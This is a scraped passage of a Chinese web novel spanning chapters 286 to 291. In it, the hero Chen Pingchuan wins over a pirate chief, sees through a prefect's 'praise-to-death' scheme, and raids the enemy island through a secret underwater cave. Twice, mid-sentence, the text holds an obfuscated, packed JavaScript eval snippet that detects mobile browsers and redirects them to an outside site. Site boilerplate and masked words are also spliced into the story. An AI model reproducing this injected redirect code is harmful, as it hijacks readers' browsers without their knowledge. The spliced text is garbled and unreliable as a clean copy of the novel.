自己在他面前,就像一个三岁的孩童,被他耍得团团转,毫无还手之力。 跟着这样的人,或许……真的有报仇的希望! 海哥眼中的挣扎,渐渐变成了决绝。 他看了一眼身旁同样满脸震惊的一只耳和其他兄弟,心中做出了最后的决定。 他用尽全身的力气,挣扎着想要起身。 本小章还未完,请点击下一页继续阅读后面精彩内容!一只耳见状,连忙上前扶住他。 在所有人的注视下,海哥,这个曾经在江徽府海域叱咤风云的海盗头子,拖着重伤之躯,对着陈平川,缓缓地,单膝跪了下去。 “我……黄海峰,愿奉……公子为主!” 他这一跪,周围那些海盗也都反应了过来,纷纷扔掉了手中的兵器,跟着跪了下去。 “我等愿奉公子为主!只求能手刃犬养三郎,为死去的兄弟们报仇!” 声音在溶洞中回荡,带着悲壮和决绝。 陈平川满意地点了点头。 他亲自上前,扶住了海哥的胳膊:“海老大请起。从今往后,我们便是自家兄弟,你的仇,就是我的仇。” 他转头对玲儿说道:“玲儿,给海老大和各位兄弟疗伤。” “是,主公。”玲儿应了一声,从怀里掏出几个小瓷瓶,开始为海盗们处理伤口。她用的伤药,都是阿魅秘制,效果极佳,海哥那深可见骨的伤口,在敷上药粉后,竟然很快就止住了血。 海哥感受着后背传来的清凉感,心中对陈平川的敬畏,又深了一层。 他知道,自己这次,赌对了。 “主公……”海哥喘了口气,眼神变得无比郑重,“既然我奉你为主,自当献上投名状。” 他对着一只耳使了个眼色。 一只耳会意,从怀里小心翼翼地掏出一个用油布包裹得严严实实的东西,递给了陈平川。 陈平川接过来,打开油布,发现里面是一张用羊皮绘制的地图。 地图上,详细地描绘着一座岛屿的地形,正是倭寇的老巢——黑礁岛。 岛上的防御布置、兵力分布、哨塔位置、甚至是粮仓和军火库,都标注得一清二楚。 “这是……黑礁岛的防御图?”陈平川的眼中闪过一丝惊讶。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第287章 魏府设下捧杀计,将军笑纳万石粮 “没错。”海哥的脸上露出一丝得意的神色,“我跟犬养三郎合作多年,对他那老巢,早就摸得一清二楚。这张图,是我花了几年时间,暗中绘制的,绝对准确。” 他顿了顿,又抛出了一个更重磅的情报。 “而且,除了这张图,我还有一个绝密的发现。在这黑礁岛的南面悬崖下,有一条水下溶洞,可以绕开所有岗哨,直通岛屿的腹地!那个入口,只有我知道!” 这个情报,让陈平川的呼吸都为之一滞。 他看着手中的地图,再听到这个消息,脑海中瞬间就勾勒出了一个无比大胆,也无比完美的作战计划。 一条可以直捣黄龙的密道! 这已经不是投名状了,这是一份足以扭转整个战局的惊天大礼! 陈平川看着海哥,脸上露出了由衷的笑容。 “海老大,还有件事我要问你,你知道被倭寇抓走的人质都关在什么地方吗?” …… 陈平川收服海哥残部的消息,并没有刻意隐瞒。 或者说,陈平川根本就没想过要隐瞒。 仅仅一天之后,这个消息就传遍了整个江徽府,也自然而然地,传到了知府魏长明的耳朵里。 知府衙门,书房内。 魏长明穿着一身常服,原本还算儒雅的脸上,此刻却写满了震惊。 “你说什么?有个叫陈平川的人,不但是收服了船帮,杀了不少倭寇,还收服了海哥那伙海盗?”他的声音都有些变调了。 师爷紧张的回道:“回大人,千真万确。小的派去的人亲眼看到,海哥那伙海盗,已经加入了船帮。现在陈平川又组建了一支名为‘靖海营’的队伍,在龙涎湾那边操练水战呢!” “靖海营,水战……” 魏长明喃喃地重复着这两个词,只觉得一股寒气从脚底板直冲天灵盖。 他原本是指望借着海盗敛财,如果朝廷追查下来,到时候,他便会派出水师,将海盗一网打尽,来一招黑吃黑,顺便向朝廷邀功请赏。 谁知,突然冒出陈平川这条“过江龙”,竟然收服了这伙海盗,将他的计划全盘打乱。 这条“过江龙”,也太他娘的猛了! 这才几天功夫? 他都有水师了! 魏长明越想越怕,越想越心惊。 自己地盘上,冒出一头猛虎!一头他根本无法控制,随时可能反噬自己的猛虎! “此人……此人绝不能留!”魏长明眼中闪过一丝狠厉。 他很清楚,以陈平川现在表现出来的手段和野心,一旦让他剿灭了犬养三郎,他就会成为江徽府海域唯一的霸主。到时候,他这个知府,在人家眼里算个屁? 而且,自己勾结海盗敛财的事情如果被捅了出去,后果不堪设想! 魏长明打了个冷颤,不敢再想下去。 “不行,不能让他这么顺利地发展下去……”他站起身,在书房里焦躁地来回踱步。 直接翻脸?派兵去剿灭他? 魏长明立刻否定了这个想法。开什么玩笑,府城的那些卫所兵,一个个都是些什么货色,他自己心里清楚得很。让他们去收收税,欺负欺负老百姓还行,真拉出去,连海盗和倭寇都不是对手,怎么可能打得过陈平川?那不是送人头吗? 硬的不行,那就只能来软的。 一个恶毒的念头,在他脑海中渐渐成型。 “师爷。”他停下脚步,眼中闪烁着阴冷的光芒。 “大人有何吩咐?” “你替我给陈平川送去一封信。”魏长明坐回书案前,去过笔墨纸砚:“就说本府听闻陈将军收服海盗,壮大声威,为我江徽府立下大功,心中甚是欣慰。为表彰其功绩,也为支持他早日剿灭倭寇主力,本府决定,从府库中,拨出一批军械、粮草、白银,赠予他!” 师爷一愣,不解地问道:“大人,我们不打压他,还要资助他?” “你懂什么!”魏长明冷笑一声,“这叫‘捧杀’!” “他不是想扩充实力吗?好!我帮他!他要人,我给不了。但他要钱要粮要兵器,我敞开了给!府库里那些积压了多年的破铜烂铁,生了虫的陈年旧粮,全都给他送过去!” “我要让他的人马,在最短的时间里,膨胀到一千人,两千人!我要让他成为犬养三郎眼中最大的一根钉子!” “到时候,不用我们动手,犬养三郎集结了主力,第一个要打的就是他陈平川!让他们去海上真刀真枪地死磕!最好,同归于尽!” 师爷听完,恍然大悟,连忙拍马屁道:“大人英明!此计甚妙!真是杀人不见血啊!” 魏长明的脸上,露出了得意的笑容。 这就是他一石二鸟的计划! 他仿佛已经看到,陈平川的靖海营和犬养三郎的倭寇大军,在海上血战,最终双双沉入海底的景象。 …… 第二天,师爷带着魏长明的信件,带领一众随从,浩浩荡荡地来到了龙涎湾。 为首的官员,当着所有靖海营将士的面,宣读了魏知府的嘉奖令,把陈平川夸得是天花乱坠,什么“少年英雄”、“国之栋梁”、“剿倭先锋”,各种高帽子不要钱似的往他头上戴。 这章没有结束,请点击下一页继续阅读!随后,一车又一车的“犒赏”,被运到了靖海营的驻地。 打开箱子一看,里面是锈迹斑斑的刀枪,散发着霉味的军服,还有一袋袋看起来就不好吃的陈米。当然,也掺杂着一些真金白银和看起来还不错的兵器。 林勇和海哥等人看得是目瞪口呆,随即脸上就露出了愤怒和鄙夷的神色。 “他娘的!这个姓魏的,也太不是东西了!拿这些破烂玩意儿来打发叫花子呢!”海哥第一个骂出声来:“我每年孝敬他那么多钱,结果就这?” “主公,这魏长明明显是没安好心啊!”林勇也看出了门道。 陈平川看着这堆积如山的“礼物”,脸上却露出了灿烂的笑容。 他上前一步,向那名师爷拱手,一脸“感激涕零”的表情。 “哎呀!魏大人真是体恤下民,想得太周到了!小人正愁兵器粮草不足,无法与倭寇决一死战,魏大人这就送来了及时雨啊!” “请师爷回去,务必替我转达对魏大人的谢意!就说我陈平川,一定不负大人厚望,必定将倭寇尽数斩于马下,为朝廷分忧,为大人分忧!” 他这番话说得是情真意切,把那个师爷都给说愣了。 这小子……是真傻还是假傻?看不出这是捧杀之计吗? 师爷也懒得深究,客套了几句,便心满意足地回去复命了。 等官府的人一走,马三就凑了上来,压低了声音:“主公,这姓魏的明显是黄鼠狼给鸡拜年,没安好心。咱们真收下这些破烂?” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第288章 三千倭寇压境,全城吓尿! 陈平川脸上的笑容瞬间消失,取而代之的是一丝冷酷的嘲讽。 “收!为什么不收?” “他想捧杀我,想让我去当炮灰?那也得看我这块‘炮灰’,他调不调得动!” 陈平川环视了一圈众人,声音陡然变得低沉而有力。 “他送来的兵器是破烂,那就让全伯带着工匠们,回炉重造!打造成我们需要的狼筅和新式武器!” “他送来的粮食是陈米,那就磨成米粉,做成米饼吃!总比饿肚子强!” “最重要的是,他给了我们一个名正言顺的理由!”陈平川的眼中闪烁着精光,“一个扩充军备,招兵买马的理由!” 他立刻下令:“马三,林勇,海哥!” “属下在!”三人齐声应道。 “拿着魏大人给的银子,给我去招人!不管是沿海活不下去的渔民,还是被官府通缉的亡命徒,只要是和倭寇有血海深仇,敢打敢杀的汉子,全都给我招进来!” “我要在最短的时间内,让我们的靖海营,扩充到一千人!” 陈平川的豪言壮语,让在场的所有人都热血沸腾。 一个巨大的战争机器,在魏长明的“资助”下,开始以惊人的速度,疯狂运转起来。 就在陈平川在龙涎湾如火如荼地招兵买马,扩充实力的时候,黑礁岛上的犬养三郎,也完成了他的兵力集结。 与海哥一战,虽然胜了,但也让他损失了近百名手下。更重要的是,海哥的拼死反抗和那句“你黑了老子的货,还来杀老子!”,让他心里也犯起了嘀咕。 难道……山田的事,真的不是海哥干的? 可如果不是他,那又是谁? 是谁有这么大的胆子,敢同时挑衅他和海哥? 难道是……传闻中,掌控了船帮,杀了鬼面的那个神秘人? 犬养三郎越想,越觉得心惊。 他感觉到,一张无形的大网,似乎正在向他罩来。一股前所未有的危机感,让他坐立不安。 不行,不能再等下去了! 他必须集中力量,发动雷霆一击,彻底摧毁江徽府的一切抵抗力量,将这片富庶的土地,完全变成自己的牧场! 至于其他事情,比如向人质家属勒索赎金,都被他暂时放在脑后。 “传令下去!召集所有在附近海域的东瀛武士,速来黑礁岛集结!” “告诉他们,江徽府的城门已经向我们敞开,里面的金银财宝堆积如山,女人温顺美丽!谁先打进去,谁就能得到最大的那一份!” 在赤裸裸的利益诱惑下,那些如同鬣狗一般在附近海域游弋的零散倭寇、浪人,甚至是假倭,汉奸纷纷响应号召,朝着黑礁岛蜂拥而来。 数日之后,犬养三郎麾下的兵力,就从不足千人,暴增到了三千多人! 三千多名穷凶极恶,毫无人性的亡命之徒! 整个黑礁岛上,人满为患,到处都是磨刀霍霍的声音和嗜血狂热的叫嚣。 犬养三郎站在高处,看着下方黑压压的人群,心中的不安被一股强大的自信和贪婪所取代。 他有绝对的信心,凭借这支庞大的军队,足以横扫整个江徽府沿海! “勇士们!”他拔出武士刀,高举过顶,用嘶哑的声音怒吼道,“目标,江徽府!出发!” “噢噢噢!” 山呼海啸般的吼叫声,响彻云霄。 上百艘大小不一,形制各异的战船,如同蝗虫过境一般,密密麻麻地驶离了黑礁岛。 船帆连天蔽日,将阳光都遮挡得黯淡了几分。 这支庞大的舰队,气势汹汹地朝着江徽府的方向,碾压而来。 …… “呜——呜——呜——” 凄厉而又急促的号角声,划破了江徽府城的宁静。 城墙上的哨兵,拼命地敲响了警钟。 “敌袭!是倭寇!是倭寇的船队!” 消息如同瘟疫一般,在城内迅速蔓延。 原本还算繁华的街道,瞬间陷入了一片恐慌和混乱。 百姓们尖叫着,哭喊着,像没头的苍蝇一样四处乱窜,拖家带口地朝着城门的方向涌去,想要逃离这座即将被战火吞噬的城市。 商铺纷纷关门,整个城市,在短短一炷香的时间里,就从繁华变得萧条死寂,只剩下恐慌在弥漫。 知府魏长明在亲兵的簇拥下,惶恐地登上了城楼。 当他扶着墙垛,朝着海面望去时,整个人都傻了。 只见远方的海平线上,出现了一片望不到边际的黑色阴影。 无数的船帆,密密麻麻,遮天蔽日。 那股滔天的杀气,即便隔着这么远,也让他感到一阵阵的窒息和腿软。 “这……这得有多少人?”一个守城将领的声音都在发抖。 “怕……怕不是有几千人……”另一个人的脸色惨白如纸。 魏长明只觉得眼前一黑,犬养三郎这个疯子,竟然集结了全部主力,直接兵临城下! 他那点守城的卫所兵,别说出城迎战了,光是看到这阵仗,就已经吓得快尿裤子了。 这章没有结束,请点击下一页继续阅读!恐慌过后,让他想起了自己亲手“喂”大的那头猛虎。 对!陈平川! 他不是收了我的钱,收了我的粮吗?他不是说要为我分忧吗? 现在,就是他兑现承诺的时候了! 魏长明一把抓住身旁的师爷,声嘶力竭地尖叫起来。 “快!快派人去龙涎湾!拿着我的令箭去!” “让陈平川立刻出兵!马上出兵迎战!” “告诉他,他要是敢延误战机,本府就治他个通敌之罪!诛他九族!” 他的声音因为恐惧而变得颤抖,他扶着墙垛,惊恐地看着那片越来越近的黑色死亡阴云,嘴里不停地念叨着: “陈平川,你可千万要给本官顶住啊……” …… 快马加鞭,尘土飞扬。 一名身负知府衙门令旗的信使,骑着一匹快马,疯了一样冲进了龙涎湾的靖海营驻地。 他翻身下马,甚至来不及喘口气,就冲进了议事堂。 此刻,议事堂内,陈平川正和林勇、海哥、马三等一众核心将领,围着一张巨大的海图,商议着什么。 “陈大人!陈大人!”信使闯了进来,高举着手中一支金光闪闪的令箭,代表着知府亲临。 “魏大人有令!” 信使清了清嗓子,大声宣读道: “倭寇主力大举来犯,兵锋已至江徽府城下!情势万分危急!兹令靖海军统领陈平川,即刻统领麾下所有兵马,全军出动,于海上正面迎击倭寇主力,不得有误!若有延误,以通敌论处,斩立决!” 他念完之后,将那支沉甸甸的令箭,递到了陈平川面前。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第289章 骗过所有人!这才是真正的杀招! 陈平川的脸上,没有丝毫的慌乱,他只是平静地从信使手中,接过了那支令箭,放在手里掂了掂,然后对着信使,露出了一个淡淡笑容。 “请回去转告魏大人。” 他的声音洪亮而清晰。 “国难当头,匹夫有责!我靖海营食朝廷俸禄,受府君大人厚恩,岂能临阵脱逃!” “请魏大人放心!我陈平川,还有靖海营上下上千名弟兄,必定与倭寇死战到底,绝不后退一步!” “城在,人在!城破,人亡!” 他这番话说得是慷慨激昂,义正辞严,别说是那个信使,就连林勇和海哥这些自己人,听得都有些热血沸腾,差点以为主公真的要带他们去跟倭寇拼命了。 信使被陈平川这番“忠肝义胆”的表态感染,心里甚至产生了一丝荒谬的敬佩感。 “好……好!陈将军有此决心,实乃江徽府之幸!”信使干巴巴地夸了两句,拱了拱手,“那……小人就回去向魏大人复命了。将军,保重!” 说完,他便急匆匆地转身离去。 议事堂内,所有人的目光,都聚焦在陈平川的身上。 林勇的脸上写满了担忧,海哥的表情凝重无比,他比谁都清楚犬养三郎那支舰队的恐怖。 “主公,我们……真的要和他们硬拼?”林勇忍不住开口问道,声音里带着一丝紧张。 陈平川脸上的表情,在信使转身的那一刻,就消失得无影无踪。 他随手将那支代表着知府最高命令的令箭,“当”的一声,扔在了面前的桌子上,发出一声清脆的声响。 那声音,让所有人的心都跟着跳了一下。 他环视了一圈众人紧张的脸,嘴角勾起一抹嘲讽。 “硬拼?” “我为什么要拿我兄弟们的命,去保一个一心想让我们死的贪官污吏?” 他走到那幅巨大的海图前,拿起一根木杆,重重地点在了江徽府城的位置上。 “魏长明想让我们当他的挡箭牌,想让我们和倭寇斗得两败俱伤,他好坐收渔利。” “而犬养三郎想一口吞下江徽府,再回过头来收拾我们。” “他们,都想让我们死。” 陈平川的声音不大,但语气中却透着一股彻骨的寒意:“既然他们都想让我们死,可我们偏偏不能让他们如意!” 他抬起头,目光在林勇、海哥、马三等人的脸上一一扫过,手中的木杆,猛地从江徽府的位置移开,划过了一大片海域,最终,重重地戳在了那座代表着倭寇老巢的岛屿上。 在所有人的注视下,陈平川缓缓开口:“传我命令!” “全军登船,即刻出发!” “目标——” 他手中的木杆,在那个岛屿的名字上,重重地顿了一下。 “黑礁岛!” 陈平川的命令一出口,整个议事堂瞬间炸开了锅。 “什么?!” “去黑礁岛?!” 所有人都以为自己听错了,一个个瞪大了眼睛,满脸都是难以置信的表情。 “主公!属下不明白!” 林勇第一个跳了起来,快步走到地图前,指着江徽府城的位置,大声说道:“主公!倭寇主力要去攻打江徽府!我们这时候不去支援,反而跑去打什么黑礁岛,那……那江徽府怎么办?城里还有几十万无辜的百姓啊!” 他的父亲林沧海也站了出来,一脸凝重地劝道:“是啊,主公。此举太过冒险。江徽府若失,我们便成了无根之萍,到时候被倭寇回过头来全力围剿,我们就上天无路,入地无门了!” 他们父子俩,土生土长在江徽府,对那座城池有着深厚的感情,无论如何也做不到眼睁睁地看着它被倭寇蹂躏。 海哥的脸上,也写满了震惊和疑虑。 不过他考虑的,和林家父子又有所不同。 “主公,”他神情无比严肃,“犬养三郎的主力全部出动,黑礁岛必然是前所未有的空虚,这确实是一个千载难逢的机会……这一点,我承认。” “但是!”他话锋一转,加重了语气,“风险太大了!我们的舰队规模和战力,都远不如倭寇。一旦我们在奔袭黑礁岛的途中,被他们的巡逻船发现,消息传回,犬养三郎必然会分兵回援。到时候,我们就会被他的前锋和主力,前后夹击,包围在茫茫大海上!那可就真的是全军覆没了!” 海哥的分析,合情合理,众人纷纷点头,觉得海哥说得很有道理。 这简直就是一场豪赌,赌注是所有人的性命。 赢了,或许能一本万利。 输了,就是万劫不复! 议事堂内,一时间议论纷纷,所有人的脸上都写满了担忧和不安。 陈平川没有立刻解释。 他只是静静地听着,让众人将心中的疑虑和担忧,全都说了出来。 等到议事堂里的声音渐渐小了下去,所有人的目光,再次汇集到他的身上时,他才缓缓地开了口。 他的声音依旧平静。 “你们的担忧,我都知道。” 这章没有结束,请点击下一页继续阅读!他先是看向林勇父子,说道:“林帮主,林勇,我知道你们心系江徽府的百姓。但你们想过没有,我们现在这点人马,就算拉到城外,跟犬养三郎的几千主力硬碰硬,结果会是什么?” 林勇张了张嘴,却说不出话来。 结果是什么?结果不言而喻,必然是全军覆没,然后倭寇再掉过头来,从容地攻破城池。 “魏长明手里,有数千名守城官兵,他还有高大坚固的城墙。”陈平川的声音变得冷酷起来,“倭寇不擅攻城,这一点,海哥比我更清楚。” 海哥下意识地点了点头:“没错。倭寇最擅长的是海战和突袭,让他们去啃江徽府那种坚城,没有十天半个月,休想打下来。” “这就够了。”陈平川的眼中闪过一丝精光,“魏长明不是想让我当挡箭牌吗?那我就让他自己,先去当一会儿盾牌!让他也尝尝,被敌人堵在城里,叫天天不应,叫地地不灵的滋味!” 他又转头看向海哥,脸上露出一丝笑容:“至于你担心的,被前后夹击的问题。你忘了,你送我的那份大礼了吗?” 海哥一愣,随即反应了过来:“您是说……那条水下密道?” “没错!”陈平川的木杆,在黑礁岛的南侧画了一个圈,“我们根本不需要从正面靠近黑礁岛!我们可以绕一个大圈,从南面,神不知鬼不觉地,通过那条密道直接登上岛屿!犬养三郎做梦也想不到,我们会从他的后背捅刀!” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第290章 暗海出奇兵,利刃指敌巢 “这……”海哥的呼吸急促了起来,眼中迸发出兴奋的光芒。 他只想着奔袭的风险,却忘了自己献上的那条密道,足以将风险降到最低! 陈平川看着众人脸上渐渐变化的表情,提高了声音,语气中充满了强大的自信和感染力。 “各位!你们要明白,我们这次的目的,不是打退倭寇,不是和他们对峙!” “我要的,是全歼!是根除!是将犬养三郎这支盘踞在江徽府海域的毒瘤,连根拔起!” “你们想象一下,当犬养三郎正在江徽府城下,耀武扬威,做着发财美梦的时候,我们突然出现在他的老巢,烧了他的粮仓,毁了他的战船,救出所有被他掳掠的财物和人质,断了他所有的后路!” “到时候,你们觉得,那几千倭寇,是会继续拼死攻打一座坚城,还是会变成一群士气崩溃的疯狗,仓皇逃窜?” 陈平川的这番话,掷地有声,瞬间点燃了在场所有人心中的热血和豪情。 所有人的眼睛,都亮了! 震惊、兴奋、狂热……种种情绪,浮现在每一个人的脸上。 原来……主公的计划,竟然是如此的宏大而又狠辣! 这已经不是简单的围魏救赵了,这是釜底抽薪!是致命一击! “主公英明!” 海哥第一个反应过来,单膝跪地,神情激动,抱拳高声道。 “属下愿为主公,赴汤蹈火!” “我等愿为主公,赴汤蹈火!” 林勇、马三,以及议事堂内所有的将领,全都齐刷刷地单膝跪地,发出了山呼海啸般的吼声。 所有的疑虑,在这一刻,都烟消云散。 陈平川满意地点了点头,让众人都起来。 “既然大家都没有异议,立刻去准备!” “海哥,你亲自挑选最熟悉那片海域的水手,负责领航!我们必须在天亮之前,抵达黑礁岛南部海域!” “林勇,你负责整顿军队,让所有兄弟都带足三天的干粮和淡水!此战,不成功,便成仁!” “马三!” “属下在!” “我给你五十个人,二十条小船。”陈平川的眼中闪过一丝狡黠,“你们不用跟我们走。你们的任务,是在江徽府附近的近海,给我故布疑阵!白天,就让船队分散开,摇旗呐喊,搞出点声势。晚上,就在船上多点火把,让魏长明和犬养三郎都以为,我的主力大军,就在他们眼皮子底下!” 马三一听,眼睛顿时亮了,嘿嘿一笑:“主公放心!装神弄鬼,我最拿手了!保证把他们耍得团团转!” “其他人,带上所有能带的火雷、引线,跟我走!” “出发!” 随着陈平川一声令下,整个龙涎湾,在夜幕的掩护下,悄然行动起来。 一支由近百艘船只组成的庞大舰队,没有升起任何旗帜,没有点亮一盏灯火,如同一个巨大的黑色幽灵,静悄悄地驶离了港湾。 他们没有朝着战火纷飞的江徽府方向驶去,而是掉转船头,冲进了那片未知的黑暗深海。 一场惊天豪赌,正式拉开了序幕。 …… 夜色如墨,海浪翻涌。 靖海营的舰队,在海哥的亲自引导下,如同融入了黑暗的鱼群,悄无声息地在茫茫大海上穿行。 船上,没有一个人说话,气氛压抑而又紧张。 所有士兵都紧紧握着手中的兵器,感受着船身的颠簸,心中既有对即将到来的大战的兴奋,也有一丝对未知前途的忐忑。 陈平川站在旗舰的船头,任由冰冷的海风吹拂着他的脸颊。 他的心,却如同脚下这片深不见底的大海,平静无波。 从决定奔袭黑礁岛的那一刻起,他就在脑海中,将整个计划推演了无数遍。每一个细节,每一个可能出现的意外,他都反复思量,并做好了相应的预案。 这是一场豪赌,但他有超过八成的把握,能赢。 “主公,前面就是犬养三郎设置的外围警戒区了。”海哥来到陈平川身边,压低了声音说道,“我们必须从那片‘鬼见愁’礁石群穿过去,才能避开他们的巡逻船。” “鬼见愁”礁石群,是这片海域最危险的地带之一。水下暗礁密布,海流湍急混乱,稍有不慎,就会船毁人亡。即便是最老练的水手,也不敢在夜间轻易闯入。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197035|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也正因为如此,这里成了犬养三郎防御体系中最薄弱的一环。 “按原计划行动。”陈平川的语气,没有丝毫波澜。 海哥重重地点了点头,立刻去船尾,用特制的旗语,向后面的船队下达了命令。 庞大的舰队,开始变换阵型。 十几艘吃水浅、转向灵活的小船,在最熟悉地形的海盗水手的操控下,驶到了队伍的最前方,如同探路的斥候。 他们点燃了用油布包裹,只透出微弱光芒的灯笼,在危险的礁石之间,小心翼翼地穿梭,为后面的大部队,开辟出一条安全的航道。 整个过程,惊心动魄。 好几次,船身几乎是擦着狰狞的礁石而过,激起一片白色的浪花。船上的士兵们,心都提到了嗓子眼。 但最终,在那些经验丰富的海盗的引领下,整个舰队,有惊无险地,成功穿越了这片死亡之海。 当他们驶出礁石群,回头望去时,已经能隐约看到,远处海平线上,有倭寇巡逻船的灯火,如同鬼火一般,一闪一闪。 所有人都长长地舒了一口气,对海哥和他手下那帮海盗的敬佩,又多了几分。 天色,在东方泛起了一抹鱼肚白。 一座巨大的黑色岛屿,轮廓渐渐出现在了海平线上。 那就是黑礁岛! “主公,我们到了!”海哥的声音里,带着一丝压抑不住的激动和仇恨。 “全军停船,就地抛锚!原地休整!”陈平川下令道,“林勇、玲儿、燕飞、石头,你们四个,带上十个水性最好的兄弟,跟我上小船,去探路!” 很快,一艘不起眼的小船,脱离了舰队,如同离群的孤雁,悄悄地朝着黑礁岛南面的悬崖,划了过去。 越是靠近,那悬崖就越显得高大陡峭,如同被巨斧劈开一般,寸草不生。悬崖下方,是汹涌的海浪,不断地拍打着黑色的礁石,发出震耳欲聋的轰鸣。 “就是这里!”海哥指着悬崖下方,一处被浪涛淹没的礁石,“入口就在那块礁石的下面!必须潜下去才能看到!” “林勇,你先下去,探明洞内情况,确保没有埋伏。”陈平川吩咐道。 第291章 潜行!登陆!杀戮倒计时开始! “是!” 林勇没有丝毫犹豫,脱掉了外衣,只留下一身紧凑的劲装,悄无声息地滑入了冰冷的海水中。 陈平川等人,在船上焦急地等待着。 时间,一分一秒地过去。 就在众人等得有些心焦的时候,不远处的水面上,突然冒出了林勇的脑袋。 他对着陈平川,做了一个“安全”的手势。 陈平川心中大定。 “行动!” 小船上的所有人,纷纷深吸一口气,潜入了水中。 陈平川也紧随其后。 水下的世界,一片昏暗。 在林勇的指引下,他们很快就找到了那个隐藏在礁石下的洞口。 洞口不大,仅能容一人通过。 穿过洞口,是一条长长的,完全被海水淹没的通道。通道内漆黑一片,伸手不见五指。 众人憋着气,奋力向前游去。 这条水下溶洞,比想象中要长得多。 就在陈平川感觉自己肺部的空气快要耗尽的时候,前方,终于出现了一抹光亮。 他们加快了速度,冲出水面。 “哗啦!” 众人纷纷从水中冒出头来,大口大口地呼吸着新鲜的空气。 他们发现,自己正身处一个巨大的地下溶洞之中。溶洞的顶部,有几个天然形成的窟窿,阳光从窟窿里照射下来,将洞内照得一片透亮。 而在溶洞的另一头,是一条向上延伸的,干燥的石阶通道。 “上面是什么情况?”陈平川抹了一把脸上的水,问向早已上岸的海哥。 “回主公,通道的出口,在一个废弃的仓库里。仓库外面,平时有两个倭寇在看守,不过犬养三郎已经把人都调走了,现在外面没有人。”海哥低声回道。 “好!” 陈平川带着众人,迅速上岸,拧干了身上的水,然后沿着石阶,悄无声息地向上走去。 通道的尽头,是一扇破旧的木门。 推开木门,果然是一个堆满了杂物的仓库。 陈平川带着众人,小心翼翼地走出仓库。 这里,正是黑礁岛倭寇营寨的腹地! 不远处,就是一排排的木屋和帐篷。因为主力尽出,整个营寨显得有些空荡和松懈。留守的,大多是一些老弱病残的倭寇,还有一些被掳掠来的可怜女人。 他们三三两两地在营寨里走动,根本没有意识到,已经有人来到他们的身边。 陈平川的目光,越过那些木屋,投向了营寨最深处,一排用巨木搭建的,戒备森严的牢房。 他的呼吸,微微有些急促。 他的岳父张盛财,和小舅子张金宝,就被关在那里! 他压下心中的激动,对着身后的玲儿、燕飞和石头,用只有他们能听到的声音,下达了冰冷的命令。 “玲儿,你带一组人,去摸清他们的粮仓和**库,做好标记,随时准备放火。” “燕飞,你占据制高点,控制全场。任何企图敲响警钟或者逃跑的人,格杀勿论!” “我们的第一目标,是救人!” 陈平川的眼中,闪烁着嗜血的寒光。 “救完人之后……” “再把这里,变成一座真正的地狱。” 他一挥手,玲儿和燕飞领命而去,身影很快消失在杂乱的木屋和帐篷之间。 陈平川的目光,移到那一排用巨木搭建的牢房上,那里的防卫,明显比营寨其他地方要严密得多。 即便是在主力尽出的情况下,牢房门口依然站着两个手持**的倭寇。他们虽然站姿懒散,但眼神却不时扫过四周,透着一股警惕。 “石头,跟紧我。”陈平川低声说了一句,声音冰冷,不带丝毫感情。 “是,主公。”石头瓮声瓮气地应道,他那蒲扇大的手掌握住了背后的巨木,整个人像一尊蓄势待发的铁塔,紧跟在陈平川身后。 陈平川没有选择走营寨内相对宽敞的土路,而是贴着一排排木屋的阴影,利用各种杂物作为掩护,悄无声息地朝着牢房的方向潜行。 一路上,他们遇到了几拨游荡的留守倭寇。这些倭寇大多歪戴着帽子,衣衫不整,有的甚至提着酒壶,一边走一边喝,嘴里还哼着不知名的小调。 他们根本没有察觉到,死神已经从他们身边擦肩而过。 陈平川没有理会这些杂鱼,他的目标很明确,就是牢房。现在还不是大开杀戒的时候,一旦动静闹大,惊动了整个营寨,救人就会变得异常困难。 很快,他们就摸到了距离牢房不足三十步的一处木屋拐角。陈平川停下脚步,从拐角处探出半个头,仔细观察着门口那四个倭寇的动向。 两个倭寇正聚在一起,低声说着什么,时不时发出一阵猥琐的笑声。其中一个正从怀里掏出一个小巧的鼻烟壶,放在鼻子下猛吸了一口,脸上露出满足的表情。 “主公,怎么办?直接冲过去吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197036|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”石头压低了声音问道,他已经有些按捺不住了。只要陈平川一声令下,他有把握在三个呼吸之内,把那两个家伙的脑袋全部砸碎。 “不急。”陈平川摇了摇头,“先等。” 他需要一个机会,一个能瞬间解决两人,且不发出太大声响的机会。 时间一分一秒地过去,陈平川的耐心好得惊人,他就像一块冰冷的岩石,一动不动地潜伏在阴影里。 终于,机会来了。 远处传来一阵女人的尖叫和哭喊声,似乎是某个被掳来的女人不堪受辱,正在反抗。门口的两个倭寇被那边的动静吸引,纷纷扭头望去,脸上都露出了幸灾乐祸的笑容。 “又是哪个不长眼的娘们,等会儿有她好受的。”一个倭寇嘿嘿笑道。 “走,去看看热闹?”另一个倭寇提议道。 